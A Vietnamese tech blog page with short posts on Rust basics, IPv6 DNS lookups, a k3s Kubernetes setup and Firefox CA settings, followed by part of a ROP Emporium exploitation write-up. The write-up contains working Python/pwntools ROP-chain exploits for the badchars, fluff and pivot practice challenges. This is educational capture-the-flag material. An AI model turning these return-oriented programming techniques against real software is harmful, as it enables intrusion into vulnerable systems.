New FAMILUG

The PyMiers

Monday, 11 December 2023

24 ngày học Rust - ngày 11 for loop borrow

for sẽ move value

Khi lặp qua từng phần tử của v với for i in v, v bị move ownership cho vòng for loop, nên ở lần lặp thứ 2 không còn v nữa, Rust compiler báo lỗi. Thấy thêm rằng khi người dùng viết for i in v thì code thực sự được chạy là for i in v.into_iter()

fn main() {

    let v = vec![10,20,30,40];
    for i in v {
        println!("{}", i);
    }
    for i in v {
        println!("{}", i);
    }

}

Output

error[E0382]: use of moved value: `v`
 --> src/main.rs:6:14
  |
2 |     let v = vec![10,20,30,40];
  |         - move occurs because `v` has type `Vec<i32>`, which does not implement the `Copy` trait
3 |     for i in v {
  |              - `v` moved due to this implicit call to `.into_iter()`
...
6 |     for i in v {
  |              ^ value used here after move
  |
note: `into_iter` takes ownership of the receiver `self`, which moves `v`
 --> /rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc/library/core/src/iter/traits/collect.rs:262:18
help: consider iterating over a slice of the `Vec<i32>`'s content to avoid moving into the `for` loop
  |
3 |     for i in &v {
  |              +

Fix: để có thể lặp qua v 2 lần, borrow v khi dùng với for:

    let v = vec![10,20,30,40];
    let mut v2: Vec<i32> = vec![];
    for i in &v {
        v2.push(i);
    }
    for i in &v {
        v2.push(i);
    }

Lần này compiler lại báo lỗi, nhưng không phải do v nữa mà ở i:

 --> src/main.rs:8:17
  |
8 |         v2.push(i);
  |            ---- ^ expected `i32`, found `&{integer}`
  |            |
  |            arguments to this method are incorrect
  |
note: method defined here
 --> /rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc/library/alloc/src/vec/mod.rs:1836:12
help: consider dereferencing the borrow
  |
8 |         v2.push(*i);

khi borrow v thì i cũng là borrow, để thêm i vào vector v2 type Vec, phải dereferencing i:

  v2.push(*i);

Trông sẽ không được đẹp mắt, ví dụ khi thêm 1 tuple vào v3:

    let v = vec![10,20,30,40];
    let mut v3: Vec<(i32, i32)> = vec![];
    for i in &v {
        v3.push((*i, *i));
    }

Có thể dereferencing i ngay tại vòng for:

    for &i in &v {
        v3.push((i, i));
    }

Kết luận

for thực hiện move giá trị, borrow để dùng nhiều lần.

Ủng hộ tác giả 🍺

Sunday, 10 December 2023

Máy không có IPv6, ai query DNS record AAAA?

Đa phần các máy tính vào cuối 2023 đều đã sử dụng IPv6, đặc biệt là các Linux server. Nhưng khi đã tắt IPv6, disable qua sysctl:

# sysctl -w net.ipv6.conf.all.disable_ipv6=1

bật tcpdump vẫn thấy các ứng dụng query AAAA record (lấy địa chỉ IPv6 tương ứng với domain), tại sao?

Thí nghiệm

Mở 1 cửa sổ chạy tcpdump port 53:

root@box:~# tcpdump port 53
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
...

Mở cửa sổ khác, bật Python3, import socket và gọi các function để lấy địa chỉ IP từ tên miền:

>>> import socket
>>> socket.gethostbyname("pymi.vn")
'104.21.61.168'
>>> socket.gethostbyname("pymi.vn")
'172.67.212.45'
>>> socket.getaddrinfo("familug.org")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: getaddrinfo() missing 1 required positional argument: 'port'
>>> socket.getaddrinfo("familug.org", 443)
[(<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_STREAM: 1>, 6, '', ('216.239.32.21', 443)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_DGRAM: 2>, 17, '', ('216.239.32.21', 443)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_RAW: 3>, 0, '', ('216.239.32.21', 443))]
>>>

Đoạn code trên sử dụng gethostbyname, một function cổ điển để lấy IP, tương ứng với function trên C, xem man 3 gethostbyname.

Kết quả tcpdump sẽ chỉ có IPv4:

12:21:25.019583 IP box.41423 > 192.168.122.1.domain: 57705+ A? pymi.vn. (25)
12:21:25.020054 IP 192.168.122.1.domain > box.41423: 57705 2/0/0 A 172.67.212.45, A 104.21.61.168 (57)

Còn khi query familug.org, sử dụng function getaddrinfo kèm them port 443, kết quả

12:21:39.722169 IP box.49228 > 192.168.122.1.domain: 29210+ A? familug.org. (29)
12:21:39.722208 IP box.49228 > 192.168.122.1.domain: 23059+ AAAA? familug.org. (29)
12:21:39.889210 IP 192.168.122.1.domain > box.49228: 29210 1/0/0 A 216.239.32.21 (45)
12:21:39.896108 IP 192.168.122.1.domain > box.49228: 23059 0/1/0 (90)

thấy có query id 23059 AAAA? familug.org. và kết quả 0/1/0.

gethostbyname đã rất cũ và hiện nay được coi là obsoleted (lỗi thời), các ứng dụng hiện đại đều được khuyên dùng getaddrinfo.

The obsolescent h_errno external integer, and the obsolescent gethostbyaddr() and gethostbyname() functions are removed, along with the HOST_NOT_FOUND, NO_DATA, NO_RECOVERY, and TRY_AGAIN macros. https://pubs.opengroup.org/onlinepubs/9699919799/

Vậy nên dù máy không có IPv6, ứng dụng vẫn gọi getaddrinfo, function này vẫn sẽ lấy địa chỉ IPv6 của domain tương ứng.

Và có vẻ như không thể dễ dàng disable tính năng nay, tức các ứng dụng sẽ luôn query IPv6 dù muốn hay không.

Kết luận

AAAA là DNS record IPv6, getaddrinfo luôn lấy cả 4 và 6... để được điểm 10.

Tham khảo

Ủng hộ tác giả 🍺

Wednesday, 6 December 2023

24 ngày học Rust - ngày 2 set

Kiểu set chỉ chứa mỗi phần tử 1 lần duy nhất, loại bỏ các phần tử trùng lặp. Ví dụ sau chỉ thấy có 1 số 1.

HashSet - kiểu dữ liệu set

Rust có sẵn kiểu set có tên HashSet, cần phải import từ thư viện "collections"

use std::collections::HashSet;
pub fn main() {
    let mut s = HashSet::new();
    s.insert(1);
    s.insert(2);
    s.insert(3);
    s.insert(1);
    dbg!(&s);
}

//[src/main.rs:8] &s = {
//    2,
//    1,
//    3,
//}

Kiểu set không có thứ tự của các phần tử, kết quả print có thể khác ví dụ trên và khác ở mỗi lần chạy code.

Tạo set từ vector, iterator

let cs = "abcddcba".chars();
let s1: HashSet<char> = HashSet::from_iter(cs);
dbg!(s1);

// s1 = {
//    'd',
//    'a',
//    'c',
//    'b',
//}

let v = vec![1, 2, 3, 1];
let s2: HashSet<i64> = HashSet::from_iter(v);
dbg!(s2);

// s2 = {
//    3,
//    1,
//    2,
//}

HashSet có đủ mọi method cho set

Như Python, Rust HashSet có đủ các method

  • union (Python |)
  • difference (Python -)
  • contains (Python >)
  • intersection (Python &)
  • symmetric_difference (Python ^)
let s2: HashSet<i64> = HashSet::from_iter(vec![1, 2, 3, 1]);
let s3: HashSet<i64> = HashSet::from_iter(vec![2, 3, 5]);

// pub fn symmetric_difference<'a>(&'a self, other: &'a HashSet<T, S>) -> SymmetricDifference<'a, T, S>
// s2.symmetric_difference(&s3) = [
//    1,
//    5,
//]

Tạo vector từ HashSet

let v = Vec::from_iter(s3);
dbg!(&v);
// &v = [
//    5,
//    2,
//    3,
//]

Kết luận

Rust tuy gõ type dài hơn một chút, nhưng vẫn có set tiện như Python. Ngôn ngữ nào không có kiểu set builtin? Go!

Ủng hộ tác giả 🍺

Saturday, 2 December 2023

24 ngày học Rust - ngày 1 String

Loạt bài viết giới thiệu các khái niệm trong Rust. Không quá chi tiết, đa phần ngắn gọn, mục tiêu trong 24 ngày.

PS: Là note khi giải https://adventofcode.com

Cài đặt & chạy code

Tham khảo https://pp.pymi.vn/article/aoc2021/

Bài viết sử dụng Rust 2021.

String, &str

Rust có 2 kiểu string thường dùng là str và String.

str - string slice

str còn được gọi là string slice, thường được dùng ở dạng "borrowed" &str. Kiểu của các string khi viết trực tiếp vào code (literal string) là &str. str dùng double quote " để bao quanh nội dung:

let s: &str = "Hello, world!";

String

String là một UTF-8 string có thể thay đổi.

A UTF-8–encoded, growable string.

String làm chủ sở hữu giá trị của nó nên còn gọi là owned string - trái với &strborrowed (đi mượn).

let s: String = String::from("Hello, world!");
dbg!(s);
// [src/main.rs:6] s = "Hello, world!"

Thêm (append) vào String với push(char) hay push_str(&str).

let mut res: String = String::from("Hello, world!");
res.push('\t');
res.push_str("How are you?");
// [src/main.rs:10] res = "Hello, world!\tHow are you?"

String vs &str

String&str có nhiều method giống nhau: starts_with, ends_with, split, replace, is_digit...

Sự khác biệt chủ yếu ở mục đích sử dụng:

  • Dùng String khi tạo string mới hay nội dung string thay đổi.
  • Dùng &str khi nội dung string cố định, không mới.

Method replace cho thấy sự khác biệt này:

pub fn replace<'a, P>(&'a self, from: P, to: &str) -> String
where
    P: Pattern<'a>,

"a b c a".replace("a", "d") trả về 1 String. Có thể hiểu rằng do Rust cần cấp phát bộ nhớ để tạo ra 1 String có nội dung mới, nên đây là kiểu String thay vì &str.

Đọc nội dùng 1 file cũng trả về String:

let contents = std::fs::read_to_string("/etc/passwd").unwrap();
pub fn read_to_string<P>(path: P) -> io::Result<String>
where
    P: AsRef<Path>,

Dùng "abc".to_string() để biến &str thành String, ngược lại String::from("abc").as_str() để biến String thành &str.

Split

"a-b-c".split("-") trả về một Split struct, hay full name std::str::Split chứ không phải 1 vector Vec<&str>.

pub fn split<'a, P>(&'a self, pat: P) -> Split<'a, P>
where
    P: Pattern<'a>,

Split implement Iterator trait (hay nói như Python: list là 1 iterable, có method __iter__)

nên có thể duyệt qua từng phần tử của kết quả, mỗi phần tử là 1 &str cho dù s&str hay String:

let sp: std::str::Split<&str>  = "bacadae".split("a");
for p in sp {
  dbg!(p);
}
let s = String::from("bacadae");
for p in s.split("a") {
  dbg!(p);
}
//[src/main.rs:16] p = "b"
//[src/main.rs:16] p = "c"
//[src/main.rs:16] p = "d"
//[src/main.rs:16] p = "e"

filter method trả về 1 Filter

let s = String::from("bacadae");
// Filter<Split<&str>, |&&str| -> bool>
let ps = s.split("a").filter(|&s| s > "c");
for r in ps {
  dbg!(r); // r là &str
}
// [src/main.rs:17] r = "d"
// [src/main.rs:17] r = "e"

Để thu được Vec<&str> dùng collect():

let s = "  a  b\tc\nd    ";
// pub fn split_whitespace(&self) -> SplitWhitespace<'_>
let parts: Vec<&str> = s.split_whitespace().collect();
dbg!(parts);
// [src/main.rs:19] parts = [
//     "a",
//     "b",
//     "c",
//     "d",
// ]

char - character

char là một ký tự, hay chính xác hơn là 1 Unicode scalar value, dùng single quote ' để bao quanh 2 bên char.

let c: char = '\u{1b0}'; // ư
let c2 = 'a';

Biến vector char thành String với collect:

let v = vec!['a', 'b', 'c'];
let s: String = v.iter().collect();

Kết luận

Khi nội dung string được tạo mới, hoặc thay đổi, dùng String, khi nội dung cố định, không mới, dùng &str.

Ủng hộ tác giả 🍺

Tuesday, 14 November 2023

Tạo và code Python tương tác với Kubernetes trên local dùng k3s

Kubernetes vốn mang tiếng phức tạp, lằng nhằng, và không ai phải đối chuyện này... không phản đối nhưng vẫn sinh ra 1 phiên bản Kubernetes nhỏ nhẹ hơn có thể chạy trên cả thiết bị Raspberry Pi tí hon, đó là K3S.

K8S - 5 == K3S

Trang chủ: https://k3s.io/

The certified Kubernetes distribution built for IoT & Edge computing

K3S rất nhẹ, chỉ 1 binary < 80MB, chạy tốn ít tài nguyên:

root         842  5.8 12.8 1344004 514540 ?      Ssl  14:30   1:25 /usr/local/bin/k3s server

Ví dụ chạy trên máy ảo hết 500MB RAM và chiếm 5% CPU.

(đang chạy 2 pod 1 NGINX 1 redis).

Ngoài k3s, có nhiều sản phẩm khác tương tự như minikube, hay microk8s.

Cài đặt

curl -sfL https://get.k3s.io | sh -
# Check for Ready node, takes ~30 seconds
sudo k3s kubectl get node

ngay sau khi kết thúc câu lệnh trên, gõ xem cluster đang chạy:

# kubectl get nodes
NAME       STATUS   ROLES                  AGE   VERSION
bullseye   Ready    control-plane,master   29m   v1.27.7+k3s2

k3s chạy cả master lẫn "worker" node trên cùng 1 máy, và vẫn nhẹ nhàng.

Tạo namespace

Tạo namespace mới cho quen, thay vì mãi dùng default:

# kubectl create namespace webdev
# kubectl get namespace
NAME              STATUS   AGE
default           Active   32m
kube-system       Active   32m
kube-public       Active   32m
kube-node-lease   Active   32m
webdev            Active   19m

Tạo alias viết cho ngắn

Thêm vào ~/.bashrc

alias k=kubectl

rồi gõ source ~/.bashrc Từ giờ gõ k thay vì kubectl

Tạo deployment, pod

Tạo 1 deploy (deployment) ghi ra file cache.yaml, deploy redis pods

k -n webdev create deploy --image=redis cache -o yaml --dry-run=client  > cache.yaml

Người dùng k8s thường tạo các resource bằng kubectl create bởi không ai nhớ đống YAML thụt ra thụt vào kia có những gì.

Mở file này ra xem nội dung:

apiVersion: apps/v1
kind: Deployment
metadata:
  creationTimestamp: null
  labels:
    app: cache
  name: cache
  namespace: webdev
spec:
  replicas: 1
  selector:
    matchLabels:
      app: cache
  strategy: {}
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: cache
    spec:
      containers:
      - image: redis
        name: redis
        resources: {}
status: {}

Sửa gì nếu muốn, apply để tạo deployment:

# k apply -f cache.yaml

chờ một lúc gõ xem pod được tạo

# k -n webdev get pod
NAME                   READY   STATUS    RESTARTS   AGE
cache-7cfdc6cc-zgvnm   1/1     Running   0          23m

Code python tương tác với Kubernetes qua thư viện client kubernetes

Thư viện chính thức được hỗ trợ: pip install kubernetes

Tạo file Kube config tại ~/.kube/config để làm file config mặc định. Do k3s không có file này, link đến file của k3s:

ln -s /etc/rancher/k3s/k3s.yaml ~/.kube/config

Bật Python lên và code:

# python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from kubernetes import config, client
>>> config.load_config()
>>> core = client.CoreV1Api()
>>> res = core.list_namespaced_pod(namespace="webdev", label_selector="app=cache")
>>> res.items[0].metadata.name
'cache-7cfdc6cc-zgvnm'
>>> res.items[0].spec
{'active_deadline_seconds': None,
 'affinity': None,
 'automount_service_account_token': None,
 'containers': [{'args': None,
 ...

Rất ngon lành, rất đơn giản.

Tham khảo

https://github.com/kubernetes-client/python/

Kết luận

k3s là một giải pháp tuyệt vời để nghịch chơi kubernetes trên máy local!

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Sunday, 12 November 2023

Tại sao CA ok trên Chrome còn Firefox báo không hợp lệ

Trên MacOS, nếu một trang web nội bộ khi vào bằng Chrome thì bình thường, còn Firefox báo private certificate authorities không hợp lệ (CA không hợp lệ), tại sao?

Mặc định không giống nhau

Chrome (119) mặc định lấy CA từ Apple keystore, và Macbook được cài sẵn các CA của công ty.

Firefox mặc định set

security.enterprise_roots.enabled = false

cần vào trang about:config rồi tìm và set option này thành 1.

https://support.mozilla.org/en-US/kb/setting-certificate-authorities-firefox

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Tuesday, 17 October 2023

Học khai thác lỗ hổng bảo mật qua ROP Emporium - Part 2

Bad chars

Challenge 5 cũng tương tự challenge 4 Write 4 nhưng chuỗi khi truyền vào sẽ được kiểm tra các ký tự, nếu gặp các ký tự này sẽ bị thay thế bằng 0xeb

Như vậy ta cần tránh các ký tự 4 kí tự là “x”,  “g”, “a” ,“.”

Và để tránh truyền các ký tự này ta sẽ truyền vào string “flag.txt” đã được encrypt từng byte bằng phép xor với 0x50 (chọn key để tránh các kí tự trên) và sử dụnng gadget xor để decrypt trước khi thực thi 

Tiến hành lấy địa chỉ các gadget cần thiết

 $ rabin2 -i badchars
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
...
4   0x00400510 GLOBAL FUNC       print_file

$ rabin2 -S badchars
[Sections]
nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
23  0x00001028   0x10 0x00601028   0x10 -rw- .data

$ python3 Ropper.py -f badchars
...
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
0x00000000004006a3: pop rdi; ret;
0x00000000004004ee: ret;
0x0000000000400628: xor byte ptr [r15], r14b; ret;
0x0000000000400634: mov qword ptr [r13], r12; ret;
0x00000000004006a2: pop r15; ret;

Build stack như sau

---> Load encrypted flag vào section .data
[A*8  ]
[.....]
[A*8  ] -> 40*A
[0x40069c] -> pop r12; pop r13; pop r14; pop r15; ret;
[encrypted_flag] -> 8 byte encrypted "flag.txt" -> r12
[0x601028 + 7] -> -rw- .data -> r13; Vì 0x601028 + 0x6 = 0x60102e có 0x2e là '.' nên ta cộng thêm 7 vào địa chỉ
[key] -> encrypt key -> r14
[0x601028] -> -rw- .data -> r15
[0x400634] -> mov qword ptr [r13], r12; ret;  -> lấy encrypted 'flag.txt' (r12) lưu vào .data (r13)
---> Lặp lại gadget xor với mỗi byte trong encrypted flag lưu tại .data
[0x400628] -> xor byte ptr [r15], r14b; ret;
[0x4006a2] -> pop r15; ret;
[0x601028 + 7 + i] -> Với  1<= i < 8
[0x400628] -> xor byte ptr [r15], r14b; ret; byte cuối của encrypted flag
[0x4006a3] -> pop rdi; ret;
[0x601028 + 7] -> rdi -> arg1 của print_file
[0x4004ee] -> ret;
[0x400510] -> print_file();

Dựa trên stack như trên ta build payload sử dụng python và struct module

from struct import pack
import sys

def p(x):
    return pack('<Q', x)

data_loc_addr = 0x601028 + 7 # because 0x601028 + 0x6 = 0x60102e and 0x2e is '.' in badchars
key = 0x50
filename = 'flag.txt'
enc_filename = ''

for c in filename:
    enc_filename += chr(ord(c) ^ key)

payload = b''
payload += b'B'*40
payload += p(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret;
payload += enc_filename.encode() # r12
payload += p(data_loc_addr) # r13
payload += p(key) # r14
payload += p(data_loc_addr) # r15
payload += p(0x400634) # mov qword ptr [r13], r12; ret;
for i in range(1,8):
    payload += p(0x400628) # xor byte ptr [r15], r14b; ret;
    payload += p(0x4006a2) # pop r15; ret;
    payload += p(data_loc_addr + i)
payload += p(0x400628) # xor byte ptr [r15], r14b; ret;
payload += p(0x4006a3) # pop rdi; ret;
payload += p(data_loc_addr)
payload += p(0x4004ee) # ret;
payload += p(0x400510) # print_file

sys.stdout.buffer.write(payload)

Fluff

Challenge 6 tương tự challenge 4 Write 4 nhưng ta sẽ dùng các gadget mới hơn để xây dựng ROP chain

Tiến hành lấy các gadget cần thiết

 $ rabin2 -i fluff
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
...
4   0x00400510 GLOBAL FUNC       print_file

$ rabin2 -S fluff
[Sections]
nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
23  0x00001028   0x10 0x00601028   0x10 -rw- .data

$ python3 Ropper.py -f badchars
...
0x000000000040062a: pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
0x0000000000400639: stosb byte ptr [rdi], al; ret;
0x0000000000400628: xlatb; ret;
0x00000000004006a3: pop rdi; ret;
0x0000000000400295: ret;

Ở đây ta thiếu các gadget như challenge 4 để truyền string “flag.txt” vào .data section.

Ta dùng gadget stosb byte ptr [rdi], al; ret; để truyền giá trị thanh ghi al vào [rdi] với rdi là địa chỉ section .data được control bằng gadget  pop rdi; ret;. Lưu ý rdi sẽ tự add 0x1 vào mỗi lần thực thi gadget này

Để control thanh ghi al ta sử dụng gadget xlatb; ret; xlatb sẽ tương đương gán al = rbx + al. Do đó khi control được rbx ta sẽ  điều chỉnh được thanh ghi al https://www.felixcloutier.com/x86/xlat:xlatb

Để control rbx ta sẽ dùng gadget pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;, với instruction bextr rbx, rcx, rdx; ret; sẽ trích xuất các bit liên tục từ start rcx với length rdx (rcx lấy bit từ 0:7, rdx lấy bit từ 8:15)

Ta xây dựng stack như sau

[A*8  ]
[.....]
[A*8  ] -> 40*A
[0x4006a3] -> pop rdi; ret;
[0x601028] -> -rw- .data -> control rdi cho gadget stosb
---> Control al, lấy từng ký tự 'flag.txt'
[0x40062a] -> pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
[0x4000] -> rdx -> length bit [8:15] = 0x40 (8 bits = 1 byte)
[base + index - 0x3ef2 - current_al] -> base + index là vị trí của từng ký tự 'flag.txt' trong binary, ta phải cộng thêm giá trị hiện tại của al vì xlatb sẽ là al := rbx + al và trừ đi 0x3e2f do instruction 'add rcx, 0x3ef2' khi đó al := giá trị tại vị trí của 'flag.txt'
[0x400628] -> xlatb; ret;
[0x400639] -> stosb byte ptr [rdi], al; ret;
----> Sau khi lấy hết ký tự 'flag.txt' vào rdi, ta truyền vào hàm print_file()
[0x4006a3] -> pop rdi; ret;
[0x400295] -> ret;
[0x400510] -> print_file();

Exploit code

from struct import pack
import sys

base = 0x400000
length = 0x4000 #length bits, bit from  15:8 is 0x40 -> 64 bit, 8 byte
xlatb = 0x0000000000400628 # xlatb; ret;
bextr = 0x000000000040062a # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
stosb = 0x0000000000400639 # stosb byte ptr [rdi], al; ret;
pop_rdi = 0x00000000004006a3 # pop rdi; ret;
data_section_addrs = 0x00601028
print_file_addrs = 0x00400510 # 4   0x00400510 GLOBAL FUNC       print_file
ret = 0x0000000000400295 # ret;
current_rax = 0xb

def p(x):
    return pack("<Q", x)

def find_index(filename='flag.txt'):
    indexes = []
    with open('fluff', 'rb') as f:
        buff = f.read()
        for c in filename:
            indexes.append(buff.index(bytes(c,'ascii')))
    return indexes

filename = 'flag.txt'
filename_index = find_index(filename=filename) # index of char in binary to create string 'flag.txt'

payload = b''
payload += b'A'*40
payload += p(pop_rdi)
payload += p(data_section_addrs)
for i, index in enumerate(filename_index):
    payload += p(bextr)
    payload += p(length)
    payload += p(base + index - 0x3ef2 - current_rax)
    payload += p(xlatb)
    payload += p(stosb)
    current_rax = ord(filename[i])
payload += p(pop_rdi)
payload += p(data_section_addrs)
payload += p(ret)
payload += p(print_file_addrs)

sys.stdout.buffer.write(payload)

Pivot

Challenge 7 ta sẽ bị giới hạn số lượng bytes có thể overflow do đó ta cần chuyển hướng rsp - stack pointer đến vị trí khác để có thể thực thi

Ở challenge này tác giả đã khởi tạo 0x10000000 bytes bộ nhớ và cho địa chỉ tại stdout, ta chỉ cần chuyển hướng stack pointer đến địa chỉ này và sử dụng. 

Hàm memset sẽ chỉ cho phép 0x20 = 32 bytes trong bộ nhớ nên ta chỉ có thể overflow 32 bytes, vừa đủ để pivot stack.

Do giá trị trên sẽ thay đổi ở các lần thực thi (hàm malloc sẽ trả về giá trị khác nhau) và ta sẽ cần lấy giá trị đó để thay đổi giá trị trong payload trước khi truyền nên cần sử dụng thêm thư viện pwntools 

Payload 2: Lấy địa chỉ đã cho và chuyển hướng rsp tới đó

Các gadget cần thiết

$ python3 Ropper.py -f pivot
...
0x00000000004009bb: pop rax; ret;
0x00000000004009bd: xchg rax, rsp; ret;

Lấy input từ stdout và build stack

line1 = p.recvuntil(b'>')
heap_addr = int(re.search('pivot: (0x\w+)', line1.decode()).group(1), 16)

payload2 = b'A'*40
payload2 += p64(0x4009bb) #0x00000000004009bb: pop rax; ret;
payload2 += p64(heap_addr)
payload2 += p64(0x4009bd) # 0x00000000004009bd: xchg rax, rsp; ret;
p.sendline(payload2)

Payload 1: Build ROP chain sẽ thực thi sau khi chuyển hướng

 $ rabin2 -i pivot
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
...
2   0x004006e0 GLOBAL FUNC       puts
8   0x00400720 GLOBAL FUNC       foothold_function

$ rabin2 -S pivot
[Sections]
nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
...
23  0x00001028   0x10 0x00601028   0x10 -rw- .data

$ rabin2 -is libpivot.so
...
[Symbols]

nth paddr      vaddr      bind   type   size lib name
―――――――――――――――――――――――――――――――――――――――――――――――――――――
10  0x0000096a 0x0000096a GLOBAL FUNC   19       foothold_function
18  0x00000a81 0x00000a81 GLOBAL FUNC   146      ret2win

$ readelf -r pivot
Relocation section '.rela.plt' at offset 0x5c8 contains 9 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
  ...
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601040  000800000007 R_X86_64_JUMP_SLO 0000000000000000 foothold_function + 0

$ radare2 pivot
[0x00400760]> aaa
[0x00400760]> afl
[0x00400760]> s sym.imp.foothold_function
[0x00400720]> pdf
    0x00400720      ff251a092000   jmp qword [reloc.foothold_function] ; [0x601040:8]=0x400726 ; "&\a@"

Hàm ret2win không nằm trong binary mà nằm trong libpivot.so do đó ta cần tìm hiểu về lazy binding, để biết được địa chỉ của ret2win ta cần một hàm trong libpivot.so mà pivot gọi đó là foothold_function.

Khi ta gọi đến foothold_function@plt tại 0x400720 lần đầu tiên, ta sẽ jump tới ptr và ptr này sẽ trỏ tới got.plt section, tại đây địa chỉ sẽ được resolve tới địa chỉ của libpivot.so và cập nhật vào got.plt. Lần gọi thứ 2 ta sẽ jump  tới trực tiếp hàm trong libpivot.so mà không cần resolve nữa

https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

Ví dụ:

Khi ta gọi puts@plt (0x400872)

Jump tới got.plt

$ readelf -r pivot
Relocation section '.rela.plt' at offset 0x5c8 contains 9 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
  ...
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0

Lookup “put” trong GOT

Ta thấy địa chỉ 0x00007ffff7ffe2c0 nằm trong phần data của ld-linux-x86-64.so

0x00007ffff7fdd540 nằm trong execution của ld-linux-x86-64.so

Khi ta call put@plt lần 2, got.plt sẽ trỏ đến put trong ld-linux-x86-64.so

$ readelf -r pivot
Relocation section '.rela.plt' at offset 0x5c8 contains 9 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
  ...
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0

Như vậy để có được địa chỉ của hàm ret2win trong libpivot.so ta cần gọi hàm foothold_function 1 lần, lấy địa chỉ đã resolve của foothold_function trong got.plt và thêm vào offset khoảng cách giữa foothold_function và ret2win là ta sẽ có địa chỉ cần tìm.

Stack như sau:
[0x400720] -> foothold_function@plt
[0x4009bb] -> pop rax; ret;
[0x601040] -> foothold_function@got.plt -> rax; rax lúc này trỏ đến địa chỉ của foothold_function
[0x4009c0] -> mov rax, qword ptr [rax]; ret; Lấy địa chỉ của foothold_function đã resolve
---> thêm offset giữa foothold và ret2win để rax trỏ về ret2win
[0x4007c8] -> pop rbp; ret;
[0x4009c4] -> add rax, rbp; ret;
[0x4006b0] -> call rax; Gọi ret2win

Code payload 1

lib_foothold_addrs = 0x0000096a # 10  0x0000096a 0x0000096a GLOBAL FUNC   19       foothold_function
lib_ret2win_addrs = 0x00000a81 # 18  0x00000a81 0x00000a81 GLOBAL FUNC   146      ret2win

payload1 = p64(0x400720) #8   0x00400720 GLOBAL FUNC       foothold_function
payload1 += p64(0x4009bb) # 0x00000000004009bb: pop rax; ret;
payload1 += p64(0x601040) # 6: sym.imp.foothold_function (); 0x00400720      ff251a092000   jmp qword [reloc.foothold_function] ; [0x601040:8]=0x400726;
payload1 += p64(0x4009c0) # 0x00000000004009c0: mov rax, qword ptr [rax]; ret;
payload1 += p64(0x4007c8) # 0x00000000004007c8: pop rbp; ret;
payload1 += p64(lib_ret2win_addrs-lib_foothold_addrs) #offset
payload1 += p64(0x4009c4) # 0x00000000004009c4: add rax, rbp; ret;
payload1 += p64(0x4006b0) # 0x00000000004006b0: call rax;
p.sendline(payload1)

Kết hợp 2 payload

from pwn import *
import re

context.update(arch='amd64', os='linux')

p = process('./pivot')
# gdb.attach(p,'''
# break *pwnme
# ''')

line1 = p.recvuntil(b'>')
print(line1)
heap_addr = int(re.search('pivot: (0x\w+)', line1.decode()).group(1), 16)
print("Found heap address: {:02x}".format(heap_addr))

lib_foothold_addrs = 0x0000096a # 10  0x0000096a 0x0000096a GLOBAL FUNC   19       foothold_function
lib_ret2win_addrs = 0x00000a81 # 18  0x00000a81 0x00000a81 GLOBAL FUNC   146      ret2win

payload1 = p64(0x400720) #8   0x00400720 GLOBAL FUNC       foothold_function
payload1 += p64(0x4009bb) # 0x00000000004009bb: pop rax; ret;
payload1 += p64(0x601040) # 6: sym.imp.foothold_function (); 0x00400720      ff251a092000   jmp qword [reloc.foothold_function] ; [0x601040:8]=0x400726;
payload1 += p64(0x4009c0) # 0x00000000004009c0: mov rax, qword ptr [rax]; ret;
payload1 += p64(0x4007c8) # 0x00000000004007c8: pop rbp; ret;
payload1 += p64(lib_ret2win_addrs-lib_foothold_addrs) #offset
payload1 += p64(0x4009c4) # 0x00000000004009c4: add rax, rbp; ret;
payload1 += p64(0x4006b0) # 0x00000000004006b0: call rax;
p.sendline(payload1)

line2 = p.recvuntil(b'>')
print(line2)

payload2 = b'A'*40
payload2 += p64(0x4009bb) #0x00000000004009bb: pop rax; ret;
payload2 += p64(heap_addr)
payload2 += p64(0x4009bd) # 0x00000000004009bd: xchg rax, rsp; ret;
p.sendline(payload2)

line3 = p.recvuntil('libpivot')
print(line3)

# leak_foothold_got = p.recv(8)
# print(leak_foothold_got.hex())

print(p.recvall())

# p.interactive()

Ret2csu

Challenge 8 tương tự Challenge 3 Callme, tuy nhiên ta sẽ sử dụng phương pháp khác để lấy kiểm soát các giá trị rdi, rsi, rdx (3 thanh ghi  chứa tham số arg1, arg2, arg3)

https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf

Ở đây ta sẽ có 2 Gadget, sử dụng radare2 để disassemble function __libc_csu_init__

 radare2 ret2csu
